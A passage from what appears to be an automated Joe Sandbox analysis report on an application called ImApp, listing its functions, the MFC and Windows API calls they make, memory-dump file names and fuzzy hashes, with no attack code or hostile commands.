Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID: Focus$Tree_$ChildVisibleWindow
String ID:
API String ID: 2372953082-0
Opcode ID: 951c5d698527d361332e494aecde72992f989e7561cf9a45cdd7986ec57baf9a
Instruction ID: 80b4a97dabbbcf757a3d9a23f818898e8cc62954fcf914b1a771bc4aafc56e6f
Opcode Fuzzy Hash: 951c5d698527d361332e494aecde72992f989e7561cf9a45cdd7986ec57baf9a
Instruction Fuzzy Hash: 2721DE7A340711DFCF9A9B34E4858AEF7A6FB847013150529D18BC7530E720D891EBD0

Function 00417F80 Relevance: 12.1, APIs: 8, Instructions: 64COMMON

Download Yara Rule

APIs

Part of subcall function 00414F60: #1009.IMUTILSU(00000000), ref: 00414F7E

FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,00420B0D,000000FF), ref: 00417FCC
VariantClear.OLEAUT32(?), ref: 0041800A
#578.MFC80U(?,?,?,?,?,?,?,00420B0D,000000FF), ref: 0041801B
#578.MFC80U(?,?,?,?,?,?,?,00420B0D,000000FF), ref: 0041802C
#578.MFC80U(?,?,?,?,?,?,?,00420B0D,000000FF), ref: 0041803D
#89.IMLOOKU(?,?,?,?,?,?,?,00420B0D,000000FF), ref: 0041804E
#77.IMUTILSU(?,?,?,?,?,?,?,00420B0D,000000FF), ref: 0041805E
#97.IMUTILSU(?,?,?,?,?,?,?,00420B0D,000000FF), ref: 0041806D

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: #578$#1009ClearFreeLibraryVariant
String ID:
API String ID: 2596435798-0
Opcode ID: 2ab5273d599ad5fa60172ea108597c1c935e7be3bc7aa2a72e1e85aaa2b620d9
Instruction ID: 495df732ffbafa4781213a3b40640fa611521993fb51ba89de87d8b5b6e1d261
Opcode Fuzzy Hash: 2ab5273d599ad5fa60172ea108597c1c935e7be3bc7aa2a72e1e85aaa2b620d9
Instruction Fuzzy Hash: 5A2182701087819FC325EF28C888787BFE4AF54354F50491DE096873A1DB78A549CBE6

Function 00404050 Relevance: 12.1, APIs: 8, Instructions: 58windowCOMMON

Download Yara Rule

APIs

#1067.MFC80U(FC8A6036), ref: 00404074
#314.MFC80U(00000000,FC8A6036), ref: 0040407E
#6735.MFC80U(?,?,?,?,?,?,?,?,?,?,?,?,?,?,0041DE01,000000FF), ref: 004040A7
#390.IMUTILSU(?,?,?,?,?,?,?,?,?,?,?,?,?,0041DE01,000000FF), ref: 004040B2
#3391.MFC80U(?,?,?,?,?,?,?,?,?,?,?,?,?,0041DE01,000000FF), ref: 004040BE
SendMessageW.USER32(?,0000808C,00000002,00000000), ref: 004040CD
#578.MFC80U(?,?,?,?,?,?,?,?,?,?,?,?,?,0041DE01,000000FF), ref: 004040DC
#6751.MFC80U(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,0041DE01), ref: 00404107

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: #1067#314#3391#390#578#6735#6751MessageSend
String ID:
API String ID: 2442368122-0
Opcode ID: 69b1c704de4af0c467c59cdf549cfa29de0fd2ed839038efad34941bb1aaec38
Instruction ID: f7f8209288ea8fc701944039ca8e5ba6aca0957e4633ddabcb47e75380199c6b
Opcode Fuzzy Hash: 69b1c704de4af0c467c59cdf549cfa29de0fd2ed839038efad34941bb1aaec38
Instruction Fuzzy Hash: D5213871208341AFD314EB29C949B9BBBE4FF88714F008A2EF495972D1DB74D845CBA6

Function 0041C482 Relevance: 12.1, APIs: 8, Instructions: 58COMMON

Download Yara Rule

APIs

__set_app_type.MSVCR80 ref: 0041C4E7
_encode_pointer.MSVCR80(000000FF), ref: 0041C4EF
__p__fmode.MSVCR80 ref: 0041C501
__p__commode.MSVCR80 ref: 0041C50F
__RTC_Initialize.LIBCMT ref: 0041C529
__setusermatherr.MSVCR80 ref: 0041C541
__setdefaultprecision.LIBCMT ref: 0041C548
_configthreadlocale.MSVCR80(000000FF), ref: 0041C558

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: Initialize__p__commode__p__fmode__set_app_type__setdefaultprecision__setusermatherr_configthreadlocale_encode_pointer
String ID:
API String ID: 2053481123-0
Opcode ID: 08e14dbed618f72bca244ba9ca8f33e14f98f2974b11a93baf3a8b92e55ba960
Instruction ID: 747f4fe0b150ee2d12980195291ba5b5e52bd65cf01e8170e025698148148ed7
Opcode Fuzzy Hash: 08e14dbed618f72bca244ba9ca8f33e14f98f2974b11a93baf3a8b92e55ba960
Instruction Fuzzy Hash: A9214F70688201DFDB289F64EE986B537A0FB08321F20467FD516962A1DBB848C1DB1D

Function 00404130 Relevance: 12.1, APIs: 8, Instructions: 52windowCOMMON

Download Yara Rule

APIs

#1067.MFC80U(FC8A6036), ref: 00404154
#314.MFC80U(00000000,FC8A6036), ref: 0040415E
#6735.MFC80U(?,?,?,?,?,?,?,?,?,?,?,?,?,?,0041DE31,000000FF), ref: 00404174
#390.IMUTILSU(?,?,?,?,?,?,?,?,?,?,?,?,?,0041DE31,000000FF), ref: 0040417F
#3391.MFC80U(?,?,?,?,?,?,?,?,?,?,?,?,?,0041DE31,000000FF), ref: 0040418B
SendMessageW.USER32(?,0000808C,00000003,00000000), ref: 0040419A
#578.MFC80U(?,?,?,?,?,?,?,?,?,?,?,?,?,0041DE31,000000FF), ref: 004041A9
#6751.MFC80U(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,0041DE31), ref: 004041D4

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: #1067#314#3391#390#578#6735#6751MessageSend
String ID:
API String ID: 2442368122-0
Opcode ID: 6a83d9195c171c839fcbfb6da5237fba8976813bad6b20a0386153b3f4ab6e2f
Instruction ID: ec7a0ef1f2790792e3e7cbbe36e9526fe8e412debb36270a87bf74191568c85a
Opcode Fuzzy Hash: 6a83d9195c171c839fcbfb6da5237fba8976813bad6b20a0386153b3f4ab6e2f
Instruction Fuzzy Hash: 72119A71208341AFC314EF25CA48B9BBBE4FB94714F004A2EF495872D0DB74D845CBA6

Function 004041F0 Relevance: 12.1, APIs: 8, Instructions: 52windowCOMMON

Download Yara Rule

APIs

#1067.MFC80U(FC8A6036), ref: 00404214
#314.MFC80U(00000000,FC8A6036), ref: 0040421E
#6735.MFC80U(?,?,?,?,?,?,?,?,?,?,?,?,?,?,0041DE61,000000FF), ref: 00404234
#390.IMUTILSU(?,?,?,?,?,?,?,?,?,?,?,?,?,0041DE61,000000FF), ref: 0040423F
#3391.MFC80U(?,?,?,?,?,?,?,?,?,?,?,?,?,0041DE61,000000FF), ref: 0040424B
SendMessageW.USER32(?,0000808C,00000004,00000000), ref: 0040425A
#578.MFC80U(?,?,?,?,?,?,?,?,?,?,?,?,?,0041DE61,000000FF), ref: 00404269
#6751.MFC80U(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,0041DE61), ref: 00404294

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: #1067#314#3391#390#578#6735#6751MessageSend
String ID:
API String ID: 2442368122-0
Opcode ID: d40facb7df41671a4f73c7c35112001198a7ff63f383d468e36c9c6b3298141a
Instruction ID: 14124d20cd5aa9f77c5f4e9ccf93515bc5357c717d6cf97db567fafad663751e
Opcode Fuzzy Hash: d40facb7df41671a4f73c7c35112001198a7ff63f383d468e36c9c6b3298141a
Instruction Fuzzy Hash: 27119AB1208341AFD314EF25CA48B9BBBE4FB84714F004A2EF495832D0DB74D845CBAA

Function 004042B0 Relevance: 12.1, APIs: 8, Instructions: 52windowCOMMON

Download Yara Rule

APIs

#1067.MFC80U(FC8A6036), ref: 004042D4
#314.MFC80U(00000000,FC8A6036), ref: 004042DE
#6735.MFC80U(?,?,?,?,?,?,?,?,?,?,?,?,?,?,0041DE91,000000FF), ref: 004042F4
#390.IMUTILSU(?,?,?,?,?,?,?,?,?,?,?,?,?,0041DE91,000000FF), ref: 004042FF
#3391.MFC80U(?,?,?,?,?,?,?,?,?,?,?,?,?,0041DE91,000000FF), ref: 0040430B
SendMessageW.USER32(?,0000808C,0000000A,00000000), ref: 0040431A
#578.MFC80U(?,?,?,?,?,?,?,?,?,?,?,?,?,0041DE91,000000FF), ref: 00404329
#6751.MFC80U(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,0041DE91), ref: 00404354

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: #1067#314#3391#390#578#6735#6751MessageSend
String ID:
API String ID: 2442368122-0
Opcode ID: 7f9124a3743daed14b835c2f8feb775a387882dcd0345061fbfa345e10952a30
Instruction ID: d97fec9610bfd2aef589ba08e5c7abd8b872b90628eb6d32530b2f47fe3d4f85
Opcode Fuzzy Hash: 7f9124a3743daed14b835c2f8feb775a387882dcd0345061fbfa345e10952a30
Instruction Fuzzy Hash: 02115971208341AFD314EF25CA49B9BBBE4FB94714F004A2EF495972D0DB749845CBA6

Function 00410040 Relevance: 10.8, APIs: 7, Instructions: 256stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0040A9C0: lstrcmpiW.KERNEL32(?,?,FC8A6036,?,?,?,?,0041ECEE,000000FF), ref: 0040AA60

lstrlenW.KERNEL32(?,?), ref: 00410127

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: lstrcmpilstrlen
String ID:
API String ID: 3649823140-0
Opcode ID: ab7fbffa27c84db2eb90f2cb1bf23a1d76b6e8697a6630e398cef4c933dce236
Instruction ID: cd5956aa4369b0e21ed5150075dfa81573f57ad740539ce47b5dc6c3fa1e91fe
Opcode Fuzzy Hash: ab7fbffa27c84db2eb90f2cb1bf23a1d76b6e8697a6630e398cef4c933dce236
Instruction Fuzzy Hash: E491C2B1900209EBDB24DF54CD85BEEB3B4BF58310F54412EE919A7280E7B89EC1C799

Function 10004F00 Relevance: 10.7, APIs: 7, Instructions: 202COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.MSVCR80(?,?,?,DC7F180A,?,?,?,?,?,?,?), ref: 10004F41
#1472.MFC80U(?,?,?,?,?,?,?,?), ref: 10004F5B

Part of subcall function 10005BC0: ??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBD@Z.MSVCP80(map/set<T> too long,DC7F1836,?,?,?), ref: 10005BFA
Part of subcall function 10005BC0: _CxxThrowException.MSVCR80(?,1000D574), ref: 10005C21

Memory Dump Source

Source File: 00000007.00000002.3546089256.0000000010001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.3546072579.0000000010000000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546106672.000000001000C000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546159214.0000000010010000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546175971.0000000010011000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_ImApp.jbxd

Similarity

API ID: #1472??0?$basic_string@D@2@@std@@D@std@@ExceptionThrowU?$char_traits@V?$allocator@_invalid_parameter_noinfo
String ID:
API String ID: 1648975598-0
Opcode ID: beec0f52a0b5d5a3f48ba30ae19ddec9a7400dd923a54456ceae213f910e8b96
Instruction ID: a4d592471a903529f52af4f12a36460218985b425b472e9bf1136b92fcba379d
Opcode Fuzzy Hash: beec0f52a0b5d5a3f48ba30ae19ddec9a7400dd923a54456ceae213f910e8b96
Instruction Fuzzy Hash: 3F61A0363052099BE300EF08D880A6FB7E9EBC47A1F41456DF9459B256DB72FD05CBA2

Function 020DEA60 Relevance: 10.7, APIs: 7, Instructions: 177COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.MSVCR80(021051D0,00000000,?,?,?,?,265105E4,?,?,?,?,?,00000000,020ED713,000000FF,020DBFFC), ref: 020DEAAC
#1472.MFC80U(00000000,?,?,?,?,265105E4,?,?,?,?,?,00000000,020ED713,000000FF,020DBFFC), ref: 020DEAC2

Part of subcall function 020DEEE0: ??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBD@Z.MSVCP80(map/set<T> too long,265105E4,?,?,?,00000000), ref: 020DEF1E
Part of subcall function 020DEEE0: _CxxThrowException.MSVCR80(?,020FC81C), ref: 020DEF45

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID: #1472??0?$basic_string@D@2@@std@@D@std@@ExceptionThrowU?$char_traits@V?$allocator@_invalid_parameter_noinfo
String ID:
API String ID: 1648975598-0
Opcode ID: 8fb35dac52a246bfc09d265e477ccbe4c32d177ca37831b6b50034a0abdfa3b6
Instruction ID: a7e66145cd809cb879b8308e70df972480177eb0aa4376a9a18d62bc4e0597b0
Opcode Fuzzy Hash: 8fb35dac52a246bfc09d265e477ccbe4c32d177ca37831b6b50034a0abdfa3b6
Instruction Fuzzy Hash: 7B51A0367423059BC700EF18EC80BABB7EAFB84710F50495AF945AB241D775BC19DBA1

Function 0040E560 Relevance: 10.6, APIs: 7, Instructions: 142stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,FC8A6036,?,?), ref: 0040E5B8
CoTaskMemFree.OLE32(00000000), ref: 0040E5DD
CharNextW.USER32(00000000,?,?), ref: 0040E611
wcsncpy_s.MSVCR80 ref: 0040E648
CharNextW.USER32(?,00000000), ref: 0040E683
CharNextW.USER32(00000000,?,?), ref: 0040E6A0
CoTaskMemFree.OLE32(?), ref: 0040E6D5

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: CharNext$FreeTask$lstrlenwcsncpy_s
String ID:
API String ID: 3270171214-0
Opcode ID: a551b8acfbff3f8f65e083f9b853482f20798e2e31d6f44ddbbc08ae99a05da0
Instruction ID: 6e3bdb588d12371b33866cb1fabfac717f00e6446e1645771ee9445d306d5344
Opcode Fuzzy Hash: a551b8acfbff3f8f65e083f9b853482f20798e2e31d6f44ddbbc08ae99a05da0
Instruction Fuzzy Hash: F4519C715043019FC320EF26D944A2BB7E4FB98704F900E2EF985A7390DB79D854CB5A

Function 0040BD00 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 139COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(?,?,00000104), ref: 0040BD8D

Part of subcall function 0040A0B0: GetLastError.KERNEL32 ref: 0040A0B0

Part of subcall function 0040B1C0: free.MSVCR80 ref: 0040B1D7

Strings

.tlb, xrefs: 0040BE40

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: ErrorFileLastModuleNamefree
String ID: .tlb
API String ID: 2388448574-1487266626
Opcode ID: 91642ac2f065813235d3d303bafd7c2c24de3e4f9c23b444d876bdcfe69c2ce3
Instruction ID: f11c96d39379c162b6a6fe6008a9536c68402598f1415bc4c92307097f8945b1
Opcode Fuzzy Hash: 91642ac2f065813235d3d303bafd7c2c24de3e4f9c23b444d876bdcfe69c2ce3
Instruction Fuzzy Hash: 2F5194716043459FC320EF25DC84A9BB7E4EB88764F400A3EE949A72D0EB789945C7DE

Function 10001CE0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 99COMMON

Download Yara Rule

APIs

Part of subcall function 10003170: TlsGetValue.KERNEL32(CCCCCCCC,DC7F1836,?,?,?,?,?,1000B414,000000FF,1000185E,?,?), ref: 100031A8
Part of subcall function 10003170: #762.MFC80U(00000058,?,?,?,?,?,1000B414,000000FF,1000185E,?,?), ref: 100031B6
Part of subcall function 10003170: TlsSetValue.KERNEL32(CCCCCCCC,00000000,?,?,?,?,?,?,?,?,?,?,?,1000AB4B,000000FF), ref: 100031E7
Part of subcall function 10003170: EnterCriticalSection.KERNEL32(-0000003C,?,?,?,?,?,1000B414,000000FF,1000185E,?,?), ref: 100031FD
Part of subcall function 10003170: #731.IMUTILSU(?,?,?,?,?,?,1000B414,000000FF,1000185E,?,?), ref: 1000320B
Part of subcall function 10003170: LeaveCriticalSection.KERNEL32(-0000003C), ref: 1000321D
Part of subcall function 10003170: GetCurrentThreadId.KERNEL32 ref: 1000322B
Part of subcall function 10003170: WaitForSingleObject.KERNEL32(?,000000FF), ref: 1000323D
Part of subcall function 10003170: EnterCriticalSection.KERNEL32 ref: 10003260

LeaveCriticalSection.KERNEL32(DC7F17FA,?,?,?,?,?,?,?,?,?,?,?,1000B751,000000FF), ref: 10001D48
#6732.MFC80U(BEGIN IMMEDIATE TRANSACTION,?,?,?,?,?,?,?,?,?,?,?,1000B751,000000FF), ref: 10001D7E
sqlite3_exec.SQLITE3(00000000,?,00000000,00000000,00000000), ref: 10001D9A
#578.MFC80U ref: 10001DB6
LeaveCriticalSection.KERNEL32(?), ref: 10001DEE

Strings

BEGIN IMMEDIATE TRANSACTION, xrefs: 10001D75

Memory Dump Source

Source File: 00000007.00000002.3546089256.0000000010001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.3546072579.0000000010000000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546106672.000000001000C000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546159214.0000000010010000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546175971.0000000010011000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_ImApp.jbxd

Similarity

API ID: CriticalSection$Leave$EnterValue$#578#6732#731#762CurrentObjectSingleThreadWaitsqlite3_exec
String ID: BEGIN IMMEDIATE TRANSACTION
API String ID: 1853943202-1506110263
Opcode ID: 5e6a53bddb793f9112f6f04051e7691b2cf5b35366d204fa759be4bb89dbd40d
Instruction ID: 6b362b11cf5af8e830d05b434745cdb724faf1071ba9557646320376f4ac2ade
Opcode Fuzzy Hash: 5e6a53bddb793f9112f6f04051e7691b2cf5b35366d204fa759be4bb89dbd40d
Instruction Fuzzy Hash: 0F31A1B16083019FE311DF28CC45B5B77E8EB88B90F04492EF955D7295EB34E804C796

Function 00405340 Relevance: 10.6, APIs: 7, Instructions: 91COMMON

Download Yara Rule

APIs

#1067.MFC80U(FC8A6036), ref: 00405365
#314.MFC80U(00000000,FC8A6036), ref: 0040536F
#6751.MFC80U(00000000,?), ref: 004053AE
#1194.MFC80U(?), ref: 004053CE
#678.IMUTILSU(?,00000000,FC8A6036), ref: 004053FF
VariantClear.OLEAUT32(?), ref: 00405413
#6751.MFC80U(00000000,?), ref: 0040545A

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: #6751$#1067#1194#314#678ClearVariant
String ID:
API String ID: 4060212247-0
Opcode ID: ce0bfed413f2cc84633798aff075911363cab3ec3853e48f4ecc7482b258638c
Instruction ID: 3efb7d5f578ffd6995b38de94608dd35ae1a21e739543fa7901ef19a3c19a53b
Opcode Fuzzy Hash: ce0bfed413f2cc84633798aff075911363cab3ec3853e48f4ecc7482b258638c
Instruction Fuzzy Hash: 133166716087009FD308DF29C885B8BB7E4EF88714F008A2EF4A887391D778E844CB96

Function 00404A10 Relevance: 10.6, APIs: 7, Instructions: 87windowCOMMON

Download Yara Rule

APIs

#1067.MFC80U(FC8A6036), ref: 00404A35
#314.MFC80U(00000000,FC8A6036), ref: 00404A3F
#390.IMUTILSU ref: 00404A99
SendMessageW.USER32(?,00008088,?,00000000), ref: 00404AB0
#390.IMUTILSU ref: 00404ADB
PostMessageW.USER32(?,00008070,00000000,00000000), ref: 00404AED
#6751.MFC80U(00000000,?), ref: 00404B18

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: #390Message$#1067#314#6751PostSend
String ID:
API String ID: 1582066516-0
Opcode ID: 44fae89043be0331d0d80a9d83346fb85594b847e8012f422787ed8872705e87
Instruction ID: 2929086c24f81cb0907cd62433c0cf76e412bebf1fc004fb3833070d8ed0c92e
Opcode Fuzzy Hash: 44fae89043be0331d0d80a9d83346fb85594b847e8012f422787ed8872705e87
Instruction Fuzzy Hash: 96313C70244300AFE324DF64C985F5BB3E4FB84714F104A2EF595972D0C778A949CB6A

Function 020C26C0 Relevance: 10.6, APIs: 7, Instructions: 80COMMON

Download Yara Rule

APIs

#6735.MFC80U(?,265105E4), ref: 020C26F4
#6161.MFC80U(?,?,?,?,?,?,?,?,?,?,020EF872,000000FF), ref: 020C2706
#578.MFC80U(?,?,?,?,?,?,?,?,?,?,020EF872,000000FF), ref: 020C2722
#1476.MFC80U(00000000,?,?,00000008,?,?,?,?,?,?,?,?,?,?,020EF872,000000FF), ref: 020C275E
#774.MFC80U(?), ref: 020C2792
#578.MFC80U(?,?,00000008,?,?,?,?,?,?,?,?,?,?,020EF872,000000FF), ref: 020C27A1
#578.MFC80U(00000008,?,?,?,?,?,?,?,?,?,?,020EF872,000000FF), ref: 020C27BA

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

